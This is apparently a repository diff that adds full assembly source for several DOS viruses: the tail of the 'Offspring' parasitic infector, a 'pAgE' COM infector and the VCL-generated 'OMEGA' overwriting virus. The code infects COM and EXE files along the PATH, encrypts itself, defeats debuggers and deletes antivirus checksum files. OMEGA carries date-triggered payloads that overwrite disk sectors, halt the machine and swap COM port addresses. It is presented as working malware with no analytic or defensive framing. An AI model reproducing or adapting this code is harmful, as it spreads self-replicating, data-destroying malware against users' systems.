; Parastic infection
parastic_inf :
lea si,f_name ; Is Command.COM?
lea di,com_name
mov cx,11
cld
repe cmpsb
jne cont_inf0 ; Yes, don't infect
jmp no_infect
cont_inf0:
mov ax,3d02h ; Open file for reading & writing
lea dx,f_name ; Filename in FF/FN buffer
int 21h
jnc cont_inf1 ; error, skip infection
jmp no_infect
cont_inf1:
mov bx,ax ; get handle
mov ah,3fh ; Read first bytes of file
mov cx,07
lea dx,org_bytes
int 21h
cmp byte ptr org_bytes+6,0E9h ; already infected?
jne cont_inf ; nope let's infect this sucker
mov ah,3eh
int 21h
jmp no_infect
cont_inf:
inc inf_count
mov ax,4202h ; Set pointer to end of file, so we
xor cx,cx ; can find the file size
xor dx,dx
int 21h
mov word ptr set_bp,ax ; Change the MOV BP inst.
add ax, offset enc_data
mov word ptr mov_di,ax ; chg mov di,xxxx
mov ax,4200h ; set file pointer to beginning
xor cx,cx
xor dx,dx
int 21h
mov ax,word ptr f_sizeh ; save new address for parastic
add ax,offset _enc ;
mov word ptr new_code+1,ax ;
mov ah,40h ; write new first 7 bytes
mov cx,7 ; .. jumps to virus code
lea dx,new_code ;
int 21h ;
mov ax,4202h ; Set file pointer to end of file
xor cx,cx ;
xor dx,dx ;
int 21h
encrypt_ops:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Change encryptions ops
push bx ; save file handle
cmp pad_bytes,50 ; no more increase in file size?
je reset_pad ; if yes, reset
inc word ptr pad_bytes ; Increase file size
inc word ptr b_wr ; make note of the increase
jmp pad_ok ; don't reset pad
reset_pad:
mov word ptr pad_bytes,0 ; reset pad size
sub word ptr b_wr,50 ; make note of decrease
pad_ok:
cmp inc_op,47h ; change ops from DI to SI
jne set2
dec inc_op
dec byte ptr xor_op+1
dec di_op
dec byte ptr enc_addr
dec byte ptr enc_add+1
jmp chg_three
set2:
inc inc_op
inc byte ptr xor_op+1
inc di_op
inc byte ptr enc_addr
inc byte ptr enc_add+1
chg_three:
mov dh,byte ptr nop_sub ; which byte did we use to fill space?
cmp dh,48h ; if INC AX then we need to reset it
jne _change ; else decrement it
mov dh,40h ; reset to DEC AX
_change:
cmp dh,41h ; Don't use INC CX..
jne no_conflict ;
mov dh,48h ; Change it to DEC AX instead
no_conflict:
cmp dh,47h ; Don't use INC DI
jne no_conflict2 ;
mov dh,4Bh ; Use DEC BX Instead
no_conflict2:
cmp dh,44h ; Don't use INC SP
jne no_conflict3 ;
mov dh,4Dh ; Use DEC BP Instead
no_conflict3:
cmp dh,46h ; Don't use INC SI
jne no_conflict4
mov dh,0FBh ; Use STI instead
no_conflict4:
mov dl,dh ; mov into word reg dx
mov cx,16 ; 32 bytes
lea si,fill_space ; beginning of null space
fill_loop:
mov [si],dx ; fill null bytes with same op
inc si ;
inc si ;
loop fill_loop ;
xor cx,cx ; keep track of which we're changing
lea di,sw_byte3 ; change the first INC location
change_pos_ag:
inc cx ; make note
cmp change_num,3 ; last position?
jne cont_change ; nope.. go ahead
mov change_num,0 ; else.. reset it
cont_change:
add di,change_num ; location to put INC
mov ah,inc_op ; INC DI|SI
mov byte ptr [di],ah ; write new INC SI|DI
lea di,sw_byte4 ; now change second INC SI|DI
cmp cx,2 ; did we already change both?
jne change_pos_ag ; no, change the second
inc change_num ; increment position
mov ah,dir_infect ; save dir_infect
push ax ;
mov dir_infect,1 ; and reset it to 1
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Get random XOR number, save it, copy virus, encrypt code
d2:
mov ah,2ch ;
int 21h ; Get random number from clock - sec/ms
mov word ptr xor_op+2,dx ; save encryption #
mov word ptr trick_jmp+1,dx ; put same number in fake jump
mov si,0100h
lea di,vend+50 ; destination
mov cx,offset vend-100h ; bytes to move
cld
rep movsb ; copy virus outside of code
enc_addr:
mov di,offset vend
enc_add:
add di,offset enc_data-100h+50 ; offset of new copy of virus
go_enc:
mov byte ptr ret_byte,0c3h ; make encryption routine RET
call encrypt ; encrypt new copy of virus
mov byte ptr ret_byte,90h ; Reset it to no RETurn
pop ax ; restore dir_infect
mov dir_infect,ah
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Write and close new infected file
pop bx
mov cx, offset vend-100h ; # of bytes to write
add cx, pad_bytes
lea dx, vend+50 ; Offset of buffer
mov ah, 40h ; -- our program in memory
int 21h ; Call INT 21H function 40h
mov ax,5701h ; Restore data/time
mov cx,word ptr f_time
mov dx,word ptr f_date
int 21h
close:
mov ah, 3eh ; close file
int 21h
no_infect:
find_file:
cmp inf_count, max_inf ; Max files found?
je end_prog ; yes, end infection
mov ah,4fh ; Find next file
int 21h
jc end_prog ; if no files found.. quit
jmp next_loop ; infect the next file
end_prog:
exit :
cmp inf_count,0 ; Start parastic infection on next run
jne find_done ; nope.. we're done
cmp byte ptr vtype, parastic ; Parastic infection done?
je find_done ; yep, exit already
mov fname_off, offset fname2 ; Point to new filespec
mov byte ptr vtype, parastic ; virus type = parastic
jmp find_first ; do it again for parastic
find_done:
fd2:
xor ax,ax
mov es,ax ; es = 0
cli ; interrupts off
mov ax,old_eh_seg ; get old int 24h segment
mov bx,old_eh_off ; get old int 24h offset
mov es:[24h*4+2],ax ; restore int 24h segment
mov es:[24h*4],bx ; restore int 24h offsetn
sti ; interrupts on
ret ; return
resident endp
vtype db spawn ; Infection type
com_name db 'COMMAND.COM' ; obvious
org_bytes db 7 dup(0) ; original first seven bytes of parastic inf.
pad_bytes dw 0 ; Increase in virus size
add_mem db 0 ; Add memory back?
inc_op db 47h ; INC DI (47h) or INC SI (46h)
nop_sub db 40h ; fill byte
copyr db 28h,63h,29h,20h,0FBh,69h,72h,6Fh,67h,65h,6Eh
v_id db 0ah,0dh,'OŸŸspring Virus V0.89','$'
kill_now db 0 ; no program running? dir/disk call?
chk_spec db 'CHKLIST.*',0 ; MS/CPAV Checksom kill
chk_spec2 db 'ANTI-VIR.DAT',0 ; TBAV Checksum kill
fname1 db '*.EXE',0 ; Filespec
fname2 db '*.COM',0 ; Filespec
change_num dw 0 ; keep track of position of INC DI|SI
times_inc db 0 ; # of times encryption call incremented
sl db '\' ; Backslash for directory name
file_dir db 64 dup(0) ; directory of file we infected
file_name db 13 dup(0) ; filename of file we infected
par_blk dw 0 ; command line count byte -psp
par_cmd dw 0080h ; Point to the command line -psp
par_seg dw 0 ; seg
dw 05ch ; Use default FCB's in psp to save space
par1 dw 0 ;
dw 06ch ; FCB #2
par2 dw 0 ;
dir_infect db 0
vend: ; End of virus
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; heap - not written to disk
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
chk_spec_addr dw chk_spec ; delete file spec
fname_off dw fname1 ; Offset of Filespec to use
old_nop_sub db 0
old_dta dd 0 ; Old DTA Segment:Address
old_eh_seg dw 0 ; old error handler (int 24h) seg
old_eh_off dw 0 ; old error handler (int 24h) ofs
inf_count db 0 ; How many files we have infected this run
fcb db 21 dup(0) ; fcb
attrib db 0 ; file attribute
f_time dw 0 ; file time
f_date dw 0 ; file date
f_sizeh dw 0 ; file size
f_sizel dw 0 ;
f_name db 13 dup(0) ; file name
cseg ends
end start

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,367 @@
;
; ÖÄÄ¿ ÖÄÄ¿ ÖÄÄ¿ ÄÒÄ ÒÄÄ¿ ÖÄÄ¿ ÖÄÒÄ¿
; ÇÄÄ´ º ³ º º ÇÄ º ³ º
; Ð Á Ð Á ÓÄÄÙ ÄÐÄ ÐÄÄÙ Ð Á Ð
; ÖÄ¿ ÖÄÄ¿ ÖÄÄ¿ ÒÄÄ¿
; ÓÄ¿ ÇÄÄ´ º Ä¿ ÇÄ
; ÓÄÄÙ Ð Á ÓÄÄÙ ÐÄÄÙ
;
; ...from the books of pAgE
;
.model tiny
.code
org 100h
depth_of_well equ longer_than-my_dick
my_dick:
call yump_up_and_go
yump_up_and_go: pop bp
sub bp,offset yump_up_and_go
jmp hop_over_da_shit
and_over_it_again: mov ax,3524h
int 21h
mov word ptr [bp+stash_box],bx
mov word ptr [bp+stash_box+2],es
mov ah,25h
lea dx,[bp+offset int24]
int 21h
push cs
pop es
jmp gordon_effect
hop_over_da_shit: lea si,[bp+stash_3]
mov di,100h
push di
movsw
movsb
mov byte ptr [bp+how_many],4
stupid_shit_trns: mov ah,1Ah
lea dx,[bp+new_chunk]
int 21h
mov ah,47h
mov dl,0
lea si,[bp+where_we_is]
int 21h
mov byte ptr [bp+eyelash],'\'
jmp and_over_it_again
jmp bang_bang
put_fletch_on_it proc far
yeeha_go: mov ah,0h
mov al,12h
int 10h
jmp yo_homey_1
stupid_shit_1 db 4
stupid_shit_2 dw 0
db 62h, 79h
copyright db '-->>pAgE<<--'
db '(C)1992 TuRN-THE-pAgE '
stupid_shit_5 db 'Ancient Sages'
db ' '
db ' Is one of pAgEs'
db ' '
db '$'
yo_homey_1:
push si
push di
mov si,80h
cld
call mo_stupid_shit_1
cmp byte ptr [si],0Dh
je yo_homey_4
mov cx,28h
lea di,stupid_shit_5
yo_homeyloop_2:
lodsb
cmp al,0Dh
je yo_homey_3
stosb
loop yo_homeyloop_2
yo_homey_3:
inc cx
mov al,2Eh
rep stosb
yo_homey_4:
pop di
pop si
mov dx,si
mov cx,di
mov stupid_shit_2,cx
yo_homey_5:
mov stupid_shit_1,0FFh
yo_homey_6:
add stupid_shit_1,1
mov bl,stupid_shit_1
mov cx,40
call mo_stupid_shit_2
yo_homeyloop_7:
mov al,byte ptr copyright+20h[bx]
mov ah,0eh
int 10h
inc bx
call mo_stupid_shit_3
mov dl,0FFh
mov ah,6
int 21h
jnz yo_homey_10
loop yo_homeyloop_7
cmp byte ptr copyright+20h[bx],24h
je yo_homey_5
jmp short yo_homey_6
put_fletch_on_it endp
mo_stupid_shit_1 proc near
yo_homey_8:
inc si
cmp byte ptr [si],20h
je yo_homey_8
retn
mo_stupid_shit_1 endp
mo_stupid_shit_2 proc near
push ax
push bx
push cx
push dx
mov dx,si
mov cx,di
mov ah,0Fh
int 010h
mov ax,1210h
mov bx,55h
int 10h
pop dx
pop cx
pop bx
pop ax
retn
mo_stupid_shit_2 endp
mo_stupid_shit_3 proc near
push cx
mov cx,258h
yo_homeyloop_9:
loop yo_homeyloop_9
pop cx
retn
mo_stupid_shit_3 endp
yo_homey_10:
call mo_stupid_shit_2
mov cx,4Fh
yo_homeyloop_11:
mov al,20h
mov ah,0Eh
int 10h
loop yo_homeyloop_11
mov ah,1
mov cx,stupid_shit_2
int 10h
jmp bang_bang
call fuck_da_monkey
gordon_effect: lea dx,[bp+what_we_wants]
mov ah,4eh
mov cx,7h
findfirstyump_up_and_go: nop
int 21h
mov al,0h
call tear_it_open
xchg ax,bx
mov ah,3fh
lea dx,[bp+muffler]
mov cx,1ah
int 21h
mov ah,3eh
int 21h
check_it_out:
mov ax,word ptr [bp+new_chunk+1Ah]
cmp ax,(longer_than-my_dick)
jb find_next
cmp ax,65535-(longer_than-my_dick)
ja find_next
mov bx,word ptr [bp+muffler+1]
add bx,longer_than-my_dick+3
cmp ax,bx
je find_next
jmp yo_over_here
find_next:
mov ah,4fh
jmp short findfirstyump_up_and_go
mov ah,3bh
lea dx,[bp+dot_dot]
int 21h
jnc gordon_effect
mov bx,word ptr [bp+muffler+1]
add bx,longer_than-my_dick+3
yo_over_here: mov cx,3
sub ax,cx
lea si,[bp+offset muffler]
lea di,[bp+offset stash_3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
finishgordon_effection:
push cx
xor cx,cx
call attributes
mov al,2
call tear_it_open
mov ah,40h
lea dx,[bp+muffler]
pop cx
int 21h
mov ax,4202h
xor cx,cx
cwd
int 21h
mov ah,40h
lea dx,[bp+my_dick]
mov cx,longer_than-my_dick
int 21h
mov ax,5701h
mov cx,word ptr [bp+new_chunk+16h]
mov dx,word ptr [bp+new_chunk+18h]
int 21h
mov ah,3eh
int 21h
mov ch,0
mov cl,byte ptr [bp+new_chunk+15h]
call attributes
leave_heeruh_virus:
mov ax,2524h
lds dx,[bp+offset stash_box]
int 21h
push cs
pop ds
olley: call put_fletch_on_it
tear_it_open proc near
mov ah,3dh
lea dx,[bp+new_chunk+30]
int 21h
xchg ax,bx
ret
endp tear_it_open
attributes proc near
mov ax,4301h
lea dx,[bp+new_chunk+30]
int 21h
ret
endp attributes
int24:
mov al,3
iret
yumpem_keep dd ?
how_many db ?
davey_jones dd ?
yumpem_keep2 db ?
stash_3 db 0cdh,20h,0
davey_jones2 dd ?
what_we_wants db "*.COM",0
muffler db 1ah dup (?)
stash_box dd ?
eyelash db ?
where_we_is db 64 dup (?)
new_chunk db 43 dup (?)
dot_dot db '..',0
;<><><><><><><><><><><><><><><><><><><><><><><><><><>
; Borrowed this segment from the VCL
;<><><><><><><><><><><><><><><><><><><><><><><><><><>
bang_bang proc near
mov cx,0025h
new_shot: push cx
mov dx,0140h
mov bx,0100h
in al,061h
and al,11111100b
fire_shot: xor al,2
out 061h,al
add dx,09248h
mov cl,3
ror dx,cl
mov cx,dx
and cx,01FFh
or cx,10
shoot_pause: loop shoot_pause
dec bx
jnz fire_shot
and al,11111100b
out 061h,al
mov bx,0002h
xor ah,ah
int 1Ah
add bx,dx
shoot_delay: int 1Ah
cmp dx,bx
jne shoot_delay
pop cx
loop new_shot
endp bang_bang
fuck_da_monkey proc near
;xor ah,ah
;int 1Ah
;xchg dx,ax
;mov dx,0FFh
out_loop: ;out dx,al
;dec dx
;jne out_loop
;mov al,0002h
;mov cx,3
;lea dx,stupid_shit1_file
;int 26h
;cli
;hlt
;jmp short $
endp fuck_da_monkey
int 20h
longer_than:
end my_dick


View File

@ -0,0 +1,539 @@
; OMEGA.ASM -- Omega: The End
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Noinger
virus_type equ 1 ; Overwriting Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
flag: add bx,0
xchg bx,ax
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
mov bx,offset null_vector ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
mov cx,0014h ; Do 20 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
call get_month
cmp ax,0009h ; Did the function return 9?
jle skip00 ; If less that or equal, skip effect
call get_day
cmp ax,0010h ; Did the function return 16?
jle skip00 ; If less that or equal, skip effect
call get_hour
cmp ax,0009h ; Did the function return 9?
jle skip00 ; If less that or equal, skip effect
cmp ax,000Fh ; Did the function return 15?
jge skip00 ; If greater than or equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: mov cx,423Fh ; First argument is 16959
new_shot: push cx ; Save the current count
mov dx,0140h ; DX holds pitch
mov bx,0100h ; BX holds shot duration
in al,061h ; Read the speaker port
and al,11111100b ; Turn off the speaker bit
fire_shot: xor al,2 ; Toggle the speaker bit
out 061h,al ; Write AL to speaker port
add dx,09248h ;
mov cl,3 ;
ror dx,cl ; Figure out the delay time
mov cx,dx ;
and cx,01FFh ;
or cx,10 ;
shoot_pause: loop shoot_pause ; Delay a bit
dec bx ; Are we done with the shot?
jnz fire_shot ; If not, pulse the speaker
and al,11111100b ; Turn off the speaker bit
out 061h,al ; Write AL to speaker port
mov bx,0002h ; BX holds delay time (ticks)
xor ah,ah ; Get time function
int 1Ah ; BIOS timer interrupt
add bx,dx ; Add current time to delay
shoot_delay: int 1Ah ; Get the time again
cmp dx,bx ; Are we done yet?
jne shoot_delay ; If not, keep checking
pop cx ; Restore the count
loop new_shot ; Do another shot
mov si,0001h ; First argument is 1
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl si,1 ; Convert to word index
mov word ptr [si + 03FEh],0 ; Zero COM port address
pop es ; Restore ES
end00: call get_month
cmp ax,0009h ; Did the function return 9?
jne skip01 ; If not equal, skip effect
call get_day
cmp ax,0004h ; Did the function return 4?
jle skip01 ; If less that or equal, skip effect
jmp short strt01 ; Success -- skip jump
skip01: jmp end01 ; Skip the routine
strt01: db 0EAh,000h,000h,0FFh,0FFh ; jmp far FFFFh:0000h
end01: call get_month
cmp ax,0001h ; Did the function return 1?
jne skip02 ; If not equal, skip effect
call get_day
cmp ax,0001h ; Did the function return 1?
jle skip02 ; If less that or equal, skip effect
call get_hour
cmp ax,000Fh ; Did the function return 15?
jge skip02 ; If greater than or equal, skip effect
jmp short strt02 ; Success -- skip jump
skip02: jmp end02 ; Skip the routine
strt02: mov bx,0001h ; First argument is 1
mov si,0002h ; Second argument is 2
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl bx,1 ; Convert to word index
shl si,1 ; Convert to word index
mov ax,word ptr [bx + 03FEh]; Zero COM port address
xchg word ptr [si + 03FEh],ax; Put first value in second,
mov word ptr [bx + 03FEh],ax; and second value in first!
pop es ; Restore ES
end02: call get_month
cmp ax,000Bh ; Did the function return 11?
jne skip03 ; If not equal, skip effect
call get_day
cmp ax,0004h ; Did the function return 4?
jle skip03 ; If less that or equal, skip effect
call get_hour
cmp ax,000Fh ; Did the function return 15?
jge skip03 ; If greater than or equal, skip effect
jmp short strt03 ; Success -- skip jump
skip03: jmp end03 ; Skip the routine
strt03: int 018h ; Drop to ROM BASIC
end03: call get_month
cmp ax,000Ch ; Did the function return 12?
jne skip04 ; If not equal, skip effect
call get_day
cmp ax,0002h ; Did the function return 2?
jle skip04 ; If less that or equal, skip effect
cmp ax,0002h ; Did the function return 2?
jge skip04 ; If greater than or equal, skip effect
jmp short strt04 ; Success -- skip jump
skip04: jmp end04 ; Skip the routine
strt04: cli ; Clear the interrupt flag
hlt ; HaLT the computer
jmp short $ ; Just to make sure
end04: call get_year
cmp ax,07CDh ; Did the function return 1997?
jle skip05 ; If less that or equal, skip effect
call get_month
cmp ax,0001h ; Did the function return 1?
jne skip05 ; If not equal, skip effect
call get_hour
cmp ax,0005h ; Did the function return 5?
jle skip05 ; If less that or equal, skip effect
cmp ax,000Fh ; Did the function return 15?
jge skip05 ; If greater than or equal, skip effect
call get_second
cmp ax,0001h ; Did the function return 1?
jne skip05 ; If not equal, skip effect
jmp short strt05 ; Success -- skip jump
skip05: jmp end05 ; Skip the routine
strt05: mov si,offset data00 ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
end05: call get_year
cmp ax,07CDh ; Did the function return 1997?
jle skip06 ; If less that or equal, skip effect
call get_month
cmp ax,0001h ; Did the function return 1?
jle skip06 ; If less that or equal, skip effect
call get_hour
cmp ax,0009h ; Did the function return 9?
jle skip06 ; If less that or equal, skip effect
cmp ax,000Fh ; Did the function return 15?
jge skip06 ; If greater than or equal, skip effect
call get_second
cmp ax,0005h ; Did the function return 5?
jne skip06 ; If not equal, skip effect
jmp short strt06 ; Success -- skip jump
skip06: jmp end06 ; Skip the routine
strt06: mov ax,0002h ; First argument is 2
mov cx,423Fh ; Second argument is 16959
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
int 026h ; DOS absolute write interrupt
sti ; Restore interrupts
end06: mov ax,04C00h ; DOS terminate function
int 021h
main endp
db 0FDh,0C8h,006h,0C6h,0DFh
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,135 ; Allocate 135 bytes on stack
mov byte ptr [bp - 135],'\' ; Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 134] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 70] ; DX points to the directory
int 021h
mov dx,offset com_mask ; DX points to "*.COM"
call find_files ; Try to infect a .COM file
jnc done_searching ; If successful the exit
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect an .EXE file
jnc done_searching ; If successful the exit
jmp short traversal_loop ; Keep checking the PATH
done_searching: mov ah,03Bh ; DOS change directory function
lea dx,[bp - 135] ; DX points to old directory
int 021h
cmp word ptr [path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not then exit
stc ; Set the carry flag for failure
at_least_tried: mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
exe_mask db "*.EXE",0 ; Mask for all .EXE files
search_files endp
traverse_path proc near
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path: mov si,offset path_string ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4: lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [path_ad],di ; Save the PATH address for later
mov word ptr [path_ad + 2],es ; Save PATH's segment for later
ret ; Return to caller
path_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
traverse_path endp
found_subdir proc near
lds si,dword ptr [path_ad] ; DS:SI points to the PATH
lea di,[bp - 70] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir: lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one: xor si,si ; Zero SI to signal completion
moved_one: mov word ptr es:[path_ad],si; Store SI in the path address
ret ; Return to caller
found_subdir endp
db 0BFh,0C0h,0BDh,072h,05Fh
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 0A9h,06Bh,0DAh,081h,0AFh
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
jne infection_done ; If it is then exit
cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
je infection_done ; If it is then skip it
cmp word ptr [si + 01Ah],(finish - start)
jb infection_done ; If it's too small then exit
mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,4 ; CX holds bytes to read (4)
mov dx,offset buffer ; DX points to buffer
int 021h
mov ah,03Eh ; DOS close file function
int 021h
push si ; Save DTA address before compare
mov si,offset buffer ; SI points to comparison buffer
mov di,offset flag ; DI points to virus flag
mov cx,4 ; CX holds number of bytes (4)
rep cmpsb ; Compare the first four bytes
pop si ; Restore DTA address
je infection_done ; If equal then exit
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
buffer db 4 dup (?) ; Buffer to hold test data
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
db 0F1h,0F6h,003h,06Bh,099h
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
db 0CDh,005h,004h,026h,0CFh
get_hour proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,ch ; Copy hour into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_hour endp
db 0F3h,06Ah,0F8h,002h,08Ah
get_month proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dh ; Copy month into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_month endp
db 0A8h,000h,015h,081h,0E7h
get_second proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,dh ; Copy second into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_second endp
db 03Fh,0FFh,089h,057h,0F2h
get_year proc near
mov ah,02Ah ; DOS get date function
int 021h
xchg cx,ax ; Transfer the year into AX
ret ; Return to caller
get_year endp
data00:
db "Says the OMEGA virus:"
db "It has been nice playing these games with you but now it is all over."
db "[...I am the Alpha and the Omega, the begining and the end.]"
db "-Rev 22:6"
db "Your C drive is being raptured!"
db "[...It is finished...]"
db "-Rev 16:17"
db "____________"
db "/ \"
db "| |"
db "| |"
db "| |"
db "\ \ / /"
db "\______\ /______/"
db "Omega"
db "(The End)"
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
mov si,offset encrypt_decrypt; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 8],dx ; Low word of timer is new key
xor byte ptr [si],1 ;
xor byte ptr [si + 7],1 ; Change all SIs to DIs
xor word ptr [si + 10],0101h; (and vice-versa)
mov di,offset finish ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
mov si,offset write_stuff ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
mov dx,offset start ; DX points to virus
call finish ; Encrypt/write/decrypt
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main

View File

@ -0,0 +1,540 @@
; OMEGA.ASM -- Omega: The End
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Noinger
virus_type equ 1 ; Overwriting Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
flag: add bx,0
xchg bx,ax
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
mov bx,offset null_vector ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
mov cx,0014h ; Do 20 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
call get_month
cmp ax,0009h ; Did the function return 9?
jle skip00 ; If less that or equal, skip effect
call get_day
cmp ax,0010h ; Did the function return 16?
